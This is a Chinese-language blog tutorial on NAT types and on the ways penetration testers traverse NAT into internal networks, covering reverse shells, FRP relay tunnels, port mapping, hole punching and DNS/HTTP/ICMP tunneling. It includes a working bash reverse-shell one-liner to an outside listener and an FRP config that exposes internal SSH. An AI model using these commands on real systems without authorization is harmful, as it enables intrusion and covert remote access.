欢迎光临
我们一直在努力

NAT 与内网渗透:从穿透原理到实战手段全解

NAT(网络地址转换)是内网安全的第一道网络层屏障,它隐藏了内网拓扑、阻断了外部主动入站连接,是内网渗透首先要解决的网络层障碍。搞懂 NAT 的类型和穿透逻辑,是搞定各类内网环境的核心基础。

本文所有技术仅用于授权的渗透测试与合法网络运维,禁止用于未授权的网络攻击。


一、渗透视角下的 NAT 核心基础

1. NAT 的本质

NAT 的核心作用是实现私网 IP ↔ 公网 IP的地址转换,让大量内网设备共享少数公网 IP 上网。 从安全视角看,它天然形成了一道单向边界:

  • 内网主动向外发的流量:NAT 会建立会话映射,允许回程数据包进入
  • 外部主动向内发的流量:没有对应会话映射时,NAT 直接丢弃,无法到达内网主机

这也是内网渗透的核心矛盾:外部攻击机无法主动正向连接内网目标,必须想办法让内网机器主动 “连出来”,或者借助中间节点打通链路。

2. 决定穿透难度的关键:4 种 NAT 类型

NAT 按端口映射规则分为 4 类,穿透难度依次递增,是选择穿透方案的核心依据:

表格

NAT 类型映射规则过滤规则穿透难度典型场景
完全锥形(Full Cone) 同一内网 IP: 端口,固定映射到一个公网 IP: 端口 任何外部地址都能通过该公网端口访问内网 最低 部分企业网关、老旧路由器
地址限制锥形(Restricted Cone) 同上,映射固定 只有内网主动访问过的外部 IP,才能通过映射端口回连 较低 多数家用路由器
端口限制锥形(Port Restricted Cone) 同上,映射固定 只有内网主动访问过的外部 IP + 端口,才能回连 中等 主流家用、中小企业网关
对称型(Symmetric NAT) 对每个不同的目标地址,都会生成不同的公网映射端口 只有对应目标地址 + 端口能回连 极高,几乎无法 P2P 打洞 运营商 CGN、严格的企业防火墙

3. 更棘手的多层 NAT

当前家庭宽带普遍是双层 NAT:

  • 第一层:家庭路由器 NAT(用户侧私网 192.168.x.x → 运营商侧地址)
  • 第二层:运营商 CGN(运营商共享地址 100.64.x.x → 真正公网 IP)
  • 多层 NAT 下,端口映射、P2P 打洞的成功率极低,是内网渗透的高难度场景。


    二、NAT 对内网渗透的核心阻碍

  • 正向连接完全失效 传统正向 Shell、正向木马需要攻击机主动连接目标端口,而 NAT 会直接丢弃所有未建立会话的入站流量,正向连接根本无法到达内网主机。

  • 内网地址无公网路由 192.168.x.x、10.x.x.x 等私网地址在公网不具备路由性,攻击机哪怕知道目标内网 IP,也无法直接寻址到目标。

  • 出口 IP 动态变化 多数宽带、移动网络的公网 IP 是动态拨号分配的,重启后就会变化,无法持久固定访问。

  • 策略叠加限制 NAT 通常伴随防火墙策略,往往只放行 80/443/53 等少数端口出站,其余端口直接拦截,进一步限制了穿透手段。


  • 三、NAT 环境下内网渗透的核心穿透技术

    1. 反向连接:最基础也最通用的突破手段

    这是渗透实战中最常用、最基础的方案,90% 以上的 NAT 环境都适用。

    原理

    利用 NAT “放行出站流量及对应回程流量” 的特性,让内网目标主动向攻击机的公网 IP 发起连接;NAT 会为这个出站连接建立端口映射,后续攻击机的回应数据会自动转发到内网主机,从而建立双向通信。

    适用场景

    目标可以访问公网(哪怕只能访问特定端口、特定协议),且能在目标上执行代码 / 植入木马。

    实战举例
    • 反向 Shell:目标主动连接攻击机公网端口,获得交互 Shell

      bash

      运行

      # 攻击机(公网IP 1.2.3.4)监听端口
      nc -lvnp 443
      # 内网目标主动反弹连接
      bash -i >& /dev/tcp/1.2.3.4/443 0>&1

    • 远控工具:MSF 的 reverse_tcp、Cobalt Strike 的 Beacon,默认都是反向连接模式,专门适配 NAT 环境

    2. 端口映射:拿到网关权限后的直连方案

    如果能控制 NAT 网关(比如拿到路由器权限、物理接触网络),可以手动打通入站通道。

    原理

    在网关上配置静态端口映射(虚拟服务器),指定 “公网端口 X → 内网 IP: 端口 Y” 的固定映射规则,所有访问公网 X 端口的流量,都会被转发到内网目标。

    常见实现方式
    • 路由器后台配置 “虚拟服务器 / 端口转发”
    • UPnP 自动映射:如果目标网关开启了 UPnP,可通过程序自动申请端口映射,无需手动配置
    • DMZ 主机:将内网主机完全暴露到公网,所有入站流量都转发到该主机(风险极高,实战少见)
    局限

    只适用于单层 NAT;多层 CGN 环境下,家庭网关的 “公网口” 本身还是运营商私网 IP,映射后外部依然无法访问。

    3. 公网中转隧道:最稳定的工业级方案

    这是多层 NAT、对称型 NAT 环境下的首选方案,稳定性最高,也是当前内网渗透最主流的穿透手段。

    原理

    借助一台拥有公网 IP 的中转服务器,建立 “内网客户端 → 公网中转服务器 → 攻击机” 的转发链路。 内网机器主动和中转服务器建立长连接,攻击机连接中转服务器的指定端口,流量经由中转服务器双向转发,最终到达内网目标。

    适用场景

    所有能出网的 NAT 环境,包括对称型 NAT、多层 CGN,几乎 100% 成功。

    常用工具与示例

    主流工具:FRP、Ngrok、EarthWorm、socat 以最常用的 FRP 为例,核心逻辑是:

  • 公网服务器运行 frps(服务端),监听指定端口
  • 内网目标运行 frpc(客户端),主动连接公网 frps,注册要转发的内网端口
  • 攻击机访问公网服务器的对应端口,流量自动转发到内网目标
  • 简化配置示例:

    ini

    # 公网服务端 frps.ini
    [common]
    bind_port = 7000

    # 内网客户端 frpc.ini
    [common]
    server_addr = 你的公网服务器IP
    server_port = 7000

    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 6000

    配置完成后,攻击机连接公网 IP 的 6000 端口,就相当于连接内网目标的 22 端口。

    4. NAT 打洞(P2P 穿透):无中转的极限操作

    原理

    借助 STUN 服务器获取双方的公网映射端口,然后两端同时向对方的公网映射端口发送数据包,在两边 NAT 上都建立会话映射,从而打通 P2P 直连通道,不需要中转服务器。

    局限
    • 仅对锥形 NAT 有效,对称型 NAT 几乎无法打洞成功
    • 多层 NAT 环境下成功率极低
    • 连接不稳定,受网络波动影响大
    • 渗透实战中很少依赖,更多用于 P2P 下载、视频通话等民用场景

    5. 协议隧道:突破出站端口限制

    当 NAT + 防火墙只允许特定协议出站(比如只能开网页、只能解析 DNS)时,就需要把攻击流量封装在放行的协议里。

    • DNS 隧道:把数据封装在 DNS 请求包中,通过 53 端口出站,适合只能解析 DNS 的严格受限环境,代表工具 iodine、dns2tcp
    • HTTP/HTTPS 隧道:把流量封装在 HTTP 请求中,走 80/443 端口,绕过端口限制,代表工具 reGeorg、HTTPTunnel
    • ICMP 隧道:用 ICMP ping 包承载数据,适合只允许 ping 通的环境,代表工具 icmpsh

    四、实战思路与方案优先级

  • 先判断环境:目标能不能出网?能出哪些端口?是单层还是多层 NAT?
  • 方案选择优先级: 反向 Shell / 反向远控 > 公网中转隧道(FRP 等) > 端口映射 > P2P 打洞
  • 多层 CGN 环境:直接放弃端口映射和打洞,优先反向连接 + 中转隧道
  • 严格受限环境:优先尝试 DNS、HTTP 等应用层隧道

  • 知识体系思维导图

    plaintext

    NAT与内网渗透知识体系
    ├─ NAT基础
    │ ├─ 核心作用:地址转换、入站阻断
    │ ├─ 4种类型:完全锥/地址限制/端口限制/对称型
    │ └─ 多层NAT:家庭路由 + 运营商CGN
    ├─ 渗透核心阻碍
    │ ├─ 正向连接失效
    │ ├─ 私网地址不可路由
    │ ├─ 出口IP动态
    │ └─ 出站端口限制
    ├─ 核心穿透技术
    │ ├─ 反向连接:最通用,利用出站会话映射
    │ │ └─ 反向Shell、反向远控
    │ ├─ 端口映射:需网关权限
    │ │ └─ 静态映射、UPnP、DMZ
    │ ├─ 中转隧道:最稳定,适配所有NAT
    │ │ └─ FRP、Ngrok、EW
    │ ├─ P2P打洞:仅锥形NAT可用
    │ │ └─ STUN、成功率低
    │ └─ 协议隧道:突破端口限制
    │ └─ DNS隧道、HTTP隧道、ICMP隧道
    └─ 实战思路
    ├─ 先判断出网能力与NAT类型
    └─ 按优先级选择穿透方案

    谢谢

    赞(0)
    未经允许不得转载:171主机测评 » NAT 与内网渗透:从穿透原理到实战手段全解
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址